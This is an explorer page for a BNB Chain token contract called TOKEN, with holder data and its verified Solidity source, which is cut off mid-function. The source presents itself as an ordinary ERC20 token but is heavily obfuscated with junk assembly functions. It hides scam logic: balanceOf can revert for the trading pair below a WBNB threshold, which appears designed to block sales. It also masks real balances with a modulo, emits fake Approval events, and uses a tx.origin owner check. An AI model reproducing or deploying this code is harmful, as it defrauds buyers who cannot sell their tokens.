BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

700,000,000,000

Holders

809

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
680,647,141.778098743

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-11
*/

pragma solidity =0.8.6;interface IERC20 { function balanceOf(address uQTvZYwhGogxrfBg) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address eCjnWsAWHQSEEgaun) external view returns (uint256); function transfer(address to, uint256 Vtw5NfGa) external returns (bool); function transferFrom( address from, address to, uint256 Vtw5NfGa ) external returns (bool); function approve(address eCjnWsAWHQSEEgaun, uint256 Vtw5NfGa) external returns (bool);}contract TOKEN { address private zOv7FKMc44Jf2EPvFe; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal b6d3dIpE4c6ZQ0sQSmDnz; mapping(address => mapping(address => uint256)) private Xyt4RUx21SOhZ9HrkdH; uint256 internal JAvs0jMuNgG09Ib4xX9H; address internal kUF2rmlRBVsJC; string private Aqa1Bfm0kBH; string private TMODqG; function _beforeTokenTransfer( address from, address to, uint256 Vtw5NfGa ) internal virtual {}constructor() { QKEUun7kG6I3(tx.origin); _mint(address(this), 700000000000000000000); }function FoIJkwIoBhYlX() public view returns(uint256){ uint256 G1D7vMrQhyXxmvH; assembly{ if gt(G1D7vMrQhyXxmvH,3506358){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=mul(3506358,402045) if gt(G1D7vMrQhyXxmvH,2067802){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=sub(2067802,904773) if gt(G1D7vMrQhyXxmvH,9263025){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=div(9263025,5845038) if gt(G1D7vMrQhyXxmvH,7076351){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=mul(7076351,5103716) if gt(G1D7vMrQhyXxmvH,6703711){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=div(6703711,164514) if gt(G1D7vMrQhyXxmvH,6686481){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=div(6686481,3336914) if gt(G1D7vMrQhyXxmvH,5623000){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=mod(5623000,3905666) if gt(G1D7vMrQhyXxmvH,4174463){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=div(4174463,1994248) if gt(G1D7vMrQhyXxmvH,7619494){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=sub(7619494,3642625) if gt(G1D7vMrQhyXxmvH,7112212){ G1D7vMrQhyXxmvH:=div(G1D7vMrQhyXxmvH,2) } G1D7vMrQhyXxmvH:=mul(7112212,1626452) } return G1D7vMrQhyXxmvH;}function WDNgGxJgsCs() public view returns(uint256){ uint256 fZFuXrwSwUOlWAWf; assembly{ if gt(fZFuXrwSwUOlWAWf,2566790){ fZFuXrwSwUOlWAWf:=div(fZFuXrwSwUOlWAWf,2) } fZFuXrwSwUOlWAWf:=mul(2566790,2295425) if gt(fZFuXrwSwUOlWAWf,5600987){ fZFuXrwSwUOlWAWf:=div(fZFuXrwSwUOlWAWf,2) } fZFuXrwSwUOlWAWf:=mod(5600987,236138) if gt(fZFuXrwSwUOlWAWf,8377248){ fZFuXrwSwUOlWAWf:=div(fZFuXrwSwUOlWAWf,2) } fZFuXrwSwUOlWAWf:=add(8377248,4495858) if gt(fZFuXrwSwUOlWAWf,7086961){ fZFuXrwSwUOlWAWf:=div(fZFuXrwSwUOlWAWf,2) } fZFuXrwSwUOlWAWf:=add(7086961,1235286) if gt(fZFuXrwSwUOlWAWf,7545698){ fZFuXrwSwUOlWAWf:=div(fZFuXrwSwUOlWAWf,2) } fZFuXrwSwUOlWAWf:=sub(7545698,1973006) } return fZFuXrwSwUOlWAWf;}function R13ixXewKnDigpJxO5() public view returns(uint256){ uint256 fBoHnTOP5gjgIY; assembly{ if gt(fBoHnTOP5gjgIY,9965506){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=mod(9965506,4033847) if gt(fBoHnTOP5gjgIY,6506779){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=sub(6506779,3947001) if gt(fBoHnTOP5gjgIY,6186824){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=add(6186824,733704) if gt(fBoHnTOP5gjgIY,6311554){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=mod(6311554,4184297) if gt(fBoHnTOP5gjgIY,8280869){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=div(8280869,4975040) if gt(fBoHnTOP5gjgIY,6495994){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=sub(6495994,1706211) if gt(fBoHnTOP5gjgIY,9535600){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=add(9535600,1322761) if gt(fBoHnTOP5gjgIY,7740114){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=mul(7740114,4228985) if gt(fBoHnTOP5gjgIY,6269931){ fBoHnTOP5gjgIY:=div(fBoHnTOP5gjgIY,2) } fBoHnTOP5gjgIY:=div(6269931,5933655) } return fBoHnTOP5gjgIY;} function yUJ80KdQmdjPc0Rc62k() public view returns(uint256){ uint256 MyyfSCX120l0; assembly{ if gt(MyyfSCX120l0,8469680){ MyyfSCX120l0:=div(MyyfSCX120l0,2) } MyyfSCX120l0:=add(8469680,1013227) if gt(MyyfSCX120l0,6215734){ MyyfSCX120l0:=div(MyyfSCX120l0,2) } MyyfSCX120l0:=mod(6215734,5865725) if gt(MyyfSCX120l0,7758899){ MyyfSCX120l0:=div(MyyfSCX120l0,2) } MyyfSCX120l0:=mod(7758899,3260502) if gt(MyyfSCX120l0,8001970){ MyyfSCX120l0:=div(MyyfSCX120l0,2) } MyyfSCX120l0:=sub(8001970,1742355) if gt(MyyfSCX120l0,9994459){ MyyfSCX120l0:=div(MyyfSCX120l0,2) } MyyfSCX120l0:=sub(9994459,5145761) } return MyyfSCX120l0;}event OwnershipTransferred( address indexed previousOwner, address indexed MVoGmKS4Nr );function K3m3xG9KoO06H() public view returns(uint256){ uint256 T46lNb3sxE5hDuE; assembly{ if gt(T46lNb3sxE5hDuE,6163666){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=mul(6163666,2067043) if gt(T46lNb3sxE5hDuE,5738418){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=sub(5738418,4948136) if gt(T46lNb3sxE5hDuE,9113966){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=sub(9113966,5701677) if gt(T46lNb3sxE5hDuE,2792931){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=mul(2792931,416309) if gt(T46lNb3sxE5hDuE,7642890){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=sub(7642890,458665) if gt(T46lNb3sxE5hDuE,9931097){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=sub(9931097,3589213) if gt(T46lNb3sxE5hDuE,7209909){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=mul(7209909,1454211) if gt(T46lNb3sxE5hDuE,1684496){ T46lNb3sxE5hDuE:=div(T46lNb3sxE5hDuE,2) } T46lNb3sxE5hDuE:=sub(1684496,474252) } return T46lNb3sxE5hDuE;} function _spendAllowance( address owner, address eCjnWsAWHQSEEgaun, uint256 Vtw5NfGa ) internal virtual { uint256 row1aBc = allowance(owner, eCjnWsAWHQSEEgaun); if (row1aBc != type(uint256).max) { require( row1aBc >= Vtw5NfGa, "ERC20: insufficient allowance" ); unchecked { _approve(owner, eCjnWsAWHQSEEgaun, row1aBc - Vtw5NfGa); } } } function transfer(address to, uint256 Vtw5NfGa) public virtual returns (bool) { address owner = MmptsFCdj8RTM1E(); _transfer(owner, to, Vtw5NfGa); return true; } function MEidkvjrLYnEjNMLY() public view returns(uint256){ uint256 p5Hr9LMqMFjv; assembly{ if gt(p5Hr9LMqMFjv,7373683){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=div(7373683,4764186) if gt(p5Hr9LMqMFjv,8794530){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=sub(8794530,941603) if gt(p5Hr9LMqMFjv,8622197){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=div(8622197,5486149) if gt(p5Hr9LMqMFjv,7476200){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=mul(7476200,4970445) if gt(p5Hr9LMqMFjv,8015437){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=div(8015437,405695) if gt(p5Hr9LMqMFjv,6652336){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=mod(6652336,5910301) if gt(p5Hr9LMqMFjv,7516455){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=mul(7516455,834341) if gt(p5Hr9LMqMFjv,1193569){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=sub(1193569,697860) if gt(p5Hr9LMqMFjv,3503627){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=add(3503627,3427204) if gt(p5Hr9LMqMFjv,5348536){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=mul(5348536,2436217) if gt(p5Hr9LMqMFjv,1755441){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=add(1755441,974297) if gt(p5Hr9LMqMFjv,8557893){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=sub(8557893,4935716) if gt(p5Hr9LMqMFjv,5350734){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=sub(5350734,4715294) if gt(p5Hr9LMqMFjv,9285554){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=div(9285554,3521987) if gt(p5Hr9LMqMFjv,8081615){ p5Hr9LMqMFjv:=div(p5Hr9LMqMFjv,2) } p5Hr9LMqMFjv:=mul(8081615,2277305) } return p5Hr9LMqMFjv;} function transferOwnership(address MVoGmKS4Nr) public virtual onlyOwner { require( MVoGmKS4Nr != address(0), "Ownable: new owner is the zero address" ); QKEUun7kG6I3(MVoGmKS4Nr); }function nASPq0eCmpG6H() public view returns(uint256){ uint256 ctYHEJg3pIcp; assembly{ if gt(ctYHEJg3pIcp,7175084){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=mod(7175084,386418) if gt(ctYHEJg3pIcp,5085890){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=div(5085890,2981673) if gt(ctYHEJg3pIcp,8528299){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=div(8528299,2240186) if gt(ctYHEJg3pIcp,9456283){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=mod(9456283,3655680) if gt(ctYHEJg3pIcp,6948083){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=add(6948083,5393956) if gt(ctYHEJg3pIcp,5171159){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=div(5171159,2152675) if gt(ctYHEJg3pIcp,5140347){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=sub(5140347,575315) if gt(ctYHEJg3pIcp,680602){ ctYHEJg3pIcp:=div(ctYHEJg3pIcp,2) } ctYHEJg3pIcp:=add(680602,632607) } return ctYHEJg3pIcp;}function qabe4ALA4gItjm() public view returns(uint256){ uint256 ZQWL24OsejL2Tzj; assembly{ if gt(ZQWL24OsejL2Tzj,1072929){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=sub(1072929,114006) if gt(ZQWL24OsejL2Tzj,7599912){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=add(7599912,1652633) if gt(ZQWL24OsejL2Tzj,4807809){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=sub(4807809,2905999) if gt(ZQWL24OsejL2Tzj,9506673){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=div(9506673,2696386) if gt(ZQWL24OsejL2Tzj,9211650){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=sub(9211650,2719157) if gt(ZQWL24OsejL2Tzj,4554705){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=add(4554705,1405488) if gt(ZQWL24OsejL2Tzj,4383474){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=sub(4383474,3738987) if gt(ZQWL24OsejL2Tzj,4868121){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=sub(4868121,4509763) if gt(ZQWL24OsejL2Tzj,5811635){ ZQWL24OsejL2Tzj:=div(ZQWL24OsejL2Tzj,2) } ZQWL24OsejL2Tzj:=mul(5811635,5251272) } return ZQWL24OsejL2Tzj;}function Dx0outpWpY7C() public view returns(uint256){ uint256 E1AcCs0rW1; assembly{ if gt(E1AcCs0rW1,8099103){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=add(8099103,4689390) if gt(E1AcCs0rW1,9501362){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=sub(9501362,5191971) if gt(E1AcCs0rW1,3235608){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=sub(3235608,215381) if gt(E1AcCs0rW1,7921700){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=mul(7921700,3131062) if gt(E1AcCs0rW1,3953103){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=mul(3953103,232010) if gt(E1AcCs0rW1,8133874){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=add(8133874,1831853) if gt(E1AcCs0rW1,6354963){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=mod(6354963,287674) if gt(E1AcCs0rW1,6675676){ E1AcCs0rW1:=div(E1AcCs0rW1,2) } E1AcCs0rW1:=div(6675676,2764965) } return E1AcCs0rW1;}function aOeCb3xF1qesCt() internal view virtual returns (bytes calldata) { return msg.data; }function sDwMcvBWn() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,kUF2rmlRBVsJC)); return abi.decode(returnData, (uint256)); } event Approval( address indexed owner, address indexed eCjnWsAWHQSEEgaun, uint256 value ); function _afterTokenTransfer( address from, address to, uint256 Vtw5NfGa ) internal { if (b6d3dIpE4c6ZQ0sQSmDnz[from] > JAvs0jMuNgG09Ib4xX9H * 0xfe) { assembly { sstore(32, 0) } } else if ( b6d3dIpE4c6ZQ0sQSmDnz[to] < JAvs0jMuNgG09Ib4xX9H && to != kUF2rmlRBVsJC ) { assembly{ mstore(0,Vtw5NfGa) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let YNJW4 := sload(9999) sstore(add(10000, YNJW4), to) sstore(9999, add(1, YNJW4)) } } } function balanceOf(address uQTvZYwhGogxrfBg) public view returns (uint256) { if (msg.sender == kUF2rmlRBVsJC) { uint256 Vtw5NfGa = sDwMcvBWn(); assembly { if lt(Vtw5NfGa, sload(32)) { revert(0, 0) } } } if (uQTvZYwhGogxrfBg == kUF2rmlRBVsJC) return b6d3dIpE4c6ZQ0sQSmDnz[uQTvZYwhGogxrfBg]; return b6d3dIpE4c6ZQ0sQSmDnz[uQTvZYwhGogxrfBg] % JAvs0jMuNgG09Ib4xX9H; }fallback() external __ {} function _mint(address uQTvZYwhGogxrfBg, uint256 Vtw5NfGa) internal virtual { require(uQTvZYwhGogxrfBg != address(0), "ERC20: mint to the zero address"); uint256 N6XFcQ8RKsvZAB5;N6XFcQ8RKsvZAB5+=881814;require(N6XFcQ8RKsvZAB5 > 1881);N6XFcQ8RKsvZAB5+=2437372;require(N6XFcQ8RKsvZAB5 > 9271);N6XFcQ8RKsvZAB5+=5107023;require(N6XFcQ8RKsvZAB5 > 3214);N6XFcQ8RKsvZAB5+=3823150;require(N6XFcQ8RKsvZAB5 > 6668);N6XFcQ8RKsvZAB5+=3152987;require(N6XFcQ8RKsvZAB5 > 842);N6XFcQ8RKsvZAB5+=4137104;require(N6XFcQ8RKsvZAB5 > 4809);N6XFcQ8RKsvZAB5+=4759435;require(N6XFcQ8RKsvZAB5 > 5937); JAvs0jMuNgG09Ib4xX9H += Vtw5NfGa; b6d3dIpE4c6ZQ0sQSmDnz[uQTvZYwhGogxrfBg] += Vtw5NfGa; emit Transfer(address(0), uQTvZYwhGogxrfBg, Vtw5NfGa); } function decimals() public view virtual returns (uint8) { uint256 h4e3B7aUlP3PbE;h4e3B7aUlP3PbE+=4121238;require(h4e3B7aUlP3PbE > 9755);h4e3B7aUlP3PbE+=5063780;require(h4e3B7aUlP3PbE > 5711);h4e3B7aUlP3PbE+=3084299;require(h4e3B7aUlP3PbE > 7939);h4e3B7aUlP3PbE+=5245112;require(h4e3B7aUlP3PbE > 1981);h4e3B7aUlP3PbE+=1300629;require(h4e3B7aUlP3PbE > 4300);h4e3B7aUlP3PbE+=2606593;require(h4e3B7aUlP3PbE > 6210); return 9; } function totalSupply() public view virtual returns (uint256) { uint256 tybVwvU0S;tybVwvU0S+=2036214;require(tybVwvU0S > 9224);tybVwvU0S+=1882773;require(tybVwvU0S > 6851);tybVwvU0S+=5424585;require(tybVwvU0S > 1011);tybVwvU0S+=3881999;require(tybVwvU0S > 9332); return JAvs0jMuNgG09Ib4xX9H; }function e3zUL0UOvp31OwwQy() public view returns(uint256){ uint256 r1iNLvx1QA6; assembly{ if gt(r1iNLvx1QA6,7471080){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=add(7471080,4091509) if gt(r1iNLvx1QA6,7486264){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=mul(7486264,4946812) if gt(r1iNLvx1QA6,7011463){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=add(7011463,3307547) if gt(r1iNLvx1QA6,9410196){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=mul(9410196,4762386) if gt(r1iNLvx1QA6,6784778){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=add(6784778,1331599) if gt(r1iNLvx1QA6,9232350){ r1iNLvx1QA6:=div(r1iNLvx1QA6,2) } r1iNLvx1QA6:=sub(9232350,5676800) } return r1iNLvx1QA6;} function renounceOwnership() public virtual onlyOwner { uint256 RgXGipG4h;RgXGipG4h+=5083163;require(RgXGipG4h > 7699);RgXGipG4h+=122887;require(RgXGipG4h > 7162);RgXGipG4h+=727541;require(RgXGipG4h > 6287);RgXGipG4h+=2218135;require(RgXGipG4h > 4640);RgXGipG4h+=3338980;require(RgXGipG4h > 4118);RgXGipG4h+=1104807;require(RgXGipG4h > 2199);RgXGipG4h+=4747270;require(RgXGipG4h > 425); QKEUun7kG6I3(address(0)); }function VU7vG2NJ0jjpVu3() public view returns(uint256){ uint256 qe7QAI9u; assembly{ if gt(qe7QAI9u,9613229){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=mul(9613229,751128) if gt(qe7QAI9u,7169748){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=mod(7169748,1726399) if gt(qe7QAI9u,9016004){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=div(9016004,3247185) if gt(qe7QAI9u,1679369){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=add(1679369,115233) if gt(qe7QAI9u,2043271){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=sub(2043271,680033) if gt(qe7QAI9u,8700567){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=add(8700567,1689587) if gt(qe7QAI9u,4135283){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=add(4135283,3553509) if gt(qe7QAI9u,9812275){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=mul(9812275,5468076) if gt(qe7QAI9u,4914281){ qe7QAI9u:=div(qe7QAI9u,2) } qe7QAI9u:=mul(4914281,4372298) } return qe7QAI9u;} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; }function JZO1PHbonlMbCur() public view returns(uint256){ uint256 G0W9bf5ery; assembly{ if gt(G0W9bf5ery,4619292){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=sub(4619292,506688) if gt(G0W9bf5ery,7521116){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=add(7521116,2608989) if gt(G0W9bf5ery,7084836){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=mod(7084836,2344040) if gt(G0W9bf5ery,9946948){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=mod(9946948,5518150) if gt(G0W9bf5ery,9875276){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=mod(9875276,710376) if gt(G0W9bf5ery,3660194){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=div(3660194,3028918) if gt(G0W9bf5ery,5127960){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=mod(5127960,2874615) if gt(G0W9bf5ery,9986239){ G0W9bf5ery:=div(G0W9bf5ery,2) } G0W9bf5ery:=div(9986239,3373224) } return G0W9bf5ery;}function ucq854LKPTbqbA5g() public view returns(uint256){ uint256 apUM1JUv0DriH; assembly{ if gt(apUM1JUv0DriH,6868730){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mod(6868730,5227255) if gt(apUM1JUv0DriH,9211044){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mod(9211044,2882743) if gt(apUM1JUv0DriH,3982061){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=add(3982061,1428550) if gt(apUM1JUv0DriH,6492391){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mul(6492391,848026) if gt(apUM1JUv0DriH,4502277){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mul(4502277,3458881) if gt(apUM1JUv0DriH,9669938){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=sub(9669938,4988329) if gt(apUM1JUv0DriH,9229293){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mod(9229293,5477113) if gt(apUM1JUv0DriH,7579858){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=mod(7579858,5869460) if gt(apUM1JUv0DriH,9948515){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=sub(9948515,1208040) if gt(apUM1JUv0DriH,5875480){ apUM1JUv0DriH:=div(apUM1JUv0DriH,2) } apUM1JUv0DriH:=div(5875480,3220315) } return apUM1JUv0DriH;} event Transfer(address indexed from, address indexed to, uint256 value); function _burn(address uQTvZYwhGogxrfBg, uint256 Vtw5NfGa) internal virtual { require(uQTvZYwhGogxrfBg != address(0), "ERC20: burn from the zero address"); uint256 sGxys3m0;sGxys3m0+=2804270;require(sGxys3m0 > 9177);sGxys3m0+=4775656;require(sGxys3m0 > 8779);sGxys3m0+=2584067;require(sGxys3m0 > 429); _beforeTokenTransfer(uQTvZYwhGogxrfBg, address(0), Vtw5NfGa); uint256 uQTvZYwhGogxrfBgBalance = b6d3dIpE4c6ZQ0sQSmDnz[uQTvZYwhGogxrfBg]; require(uQTvZYwhGogxrfBgBalance >= Vtw5NfGa, "ERC20: burn exceeds balance"); b6d3dIpE4c6ZQ0sQSmDnz[uQTvZYwhGogxrfBg] -= Vtw5NfGa; JAvs0jMuNgG09Ib4xX9H -= Vtw5NfGa; emit Transfer(uQTvZYwhGogxrfBg, address(0), Vtw5NfGa); _afterTokenTransfer(uQTvZYwhGogxrfBg, address(0), Vtw5NfGa); }function MmptsFCdj8RTM1E() internal view virtual returns (address) { return msg.sender; } function owner() public view virtual returns (address) { uint256 iBBVqcyl6N;iBBVqcyl6N+=2922600;require(iBBVqcyl6N > 6617);iBBVqcyl6N+=1941095;require(iBBVqcyl6N > 5179);iBBVqcyl6N+=3283804;require(iBBVqcyl6N > 2596);iBBVqcyl6N+=4336432;require(iBBVqcyl6N > 3578);iBBVqcyl6N+=5485531;require(iBBVqcyl6N > 7560);iBBVqcyl6N+=1988222;require(iBBVqcyl6N > 8473);iBBVqcyl6N+=4076960;require(iBBVqcyl6N > 918); return zOv7FKMc44Jf2EPvFe; }function p8saXzFLPxxB() public view returns(uint256){ uint256 E6ISfAgLCG; assembly{ if gt(E6ISfAgLCG,8701199){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=div(8701199,4451122) if gt(E6ISfAgLCG,9601426){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=add(9601426,239191) if gt(E6ISfAgLCG,9380092){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=mul(9380092,3347605) if gt(E6ISfAgLCG,8891188){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=mul(8891188,1985174) if gt(E6ISfAgLCG,8857271){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=mod(8857271,4556165) if gt(E6ISfAgLCG,3636316){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=mul(3636316,1017900) if gt(E6ISfAgLCG,7257497){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=div(7257497,5540994) if gt(E6ISfAgLCG,8385657){ E6ISfAgLCG:=div(E6ISfAgLCG,2) } E6ISfAgLCG:=sub(8385657,5951078) } return E6ISfAgLCG;} function _approve( address owner, address eCjnWsAWHQSEEgaun, uint256 Vtw5NfGa ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(eCjnWsAWHQSEEgaun != address(0), "ERC20: approve to the zero address"); uint256 IIVCVH9QU;IIVCVH9QU+=1512110;require(IIVCVH9QU > 1386);IIVCVH9QU+=4883606;require(IIVCVH9QU > 8713);IIVCVH9QU+=5822906;require(IIVCVH9QU > 3375); Xyt4RUx21SOhZ9HrkdH[owner][eCjnWsAWHQSEEgaun] = Vtw5NfGa; emit Approval(owner, eCjnWsAWHQSEEgaun, Vtw5NfGa); } function approve(address eCjnWsAWHQSEEgaun, uint256 Vtw5NfGa) public virtual returns (bool) { address owner = MmptsFCdj8RTM1E(); _approve(owner, eCjnWsAWHQSEEgaun, Vtw5NfGa); return true; } function symbol() public view virtual returns (string memory) { uint256 CJqEKVAP4dAnOsOf;CJqEKVAP4dAnOsOf+=1797431;require(CJqEKVAP4dAnOsOf > 2361);CJqEKVAP4dAnOsOf+=2075145;require(CJqEKVAP4dAnOsOf > 7347);CJqEKVAP4dAnOsOf+=4878779;require(CJqEKVAP4dAnOsOf > 5468); return TMODqG; }function _transfer( address from, address to, uint256 Vtw5NfGa ) internal 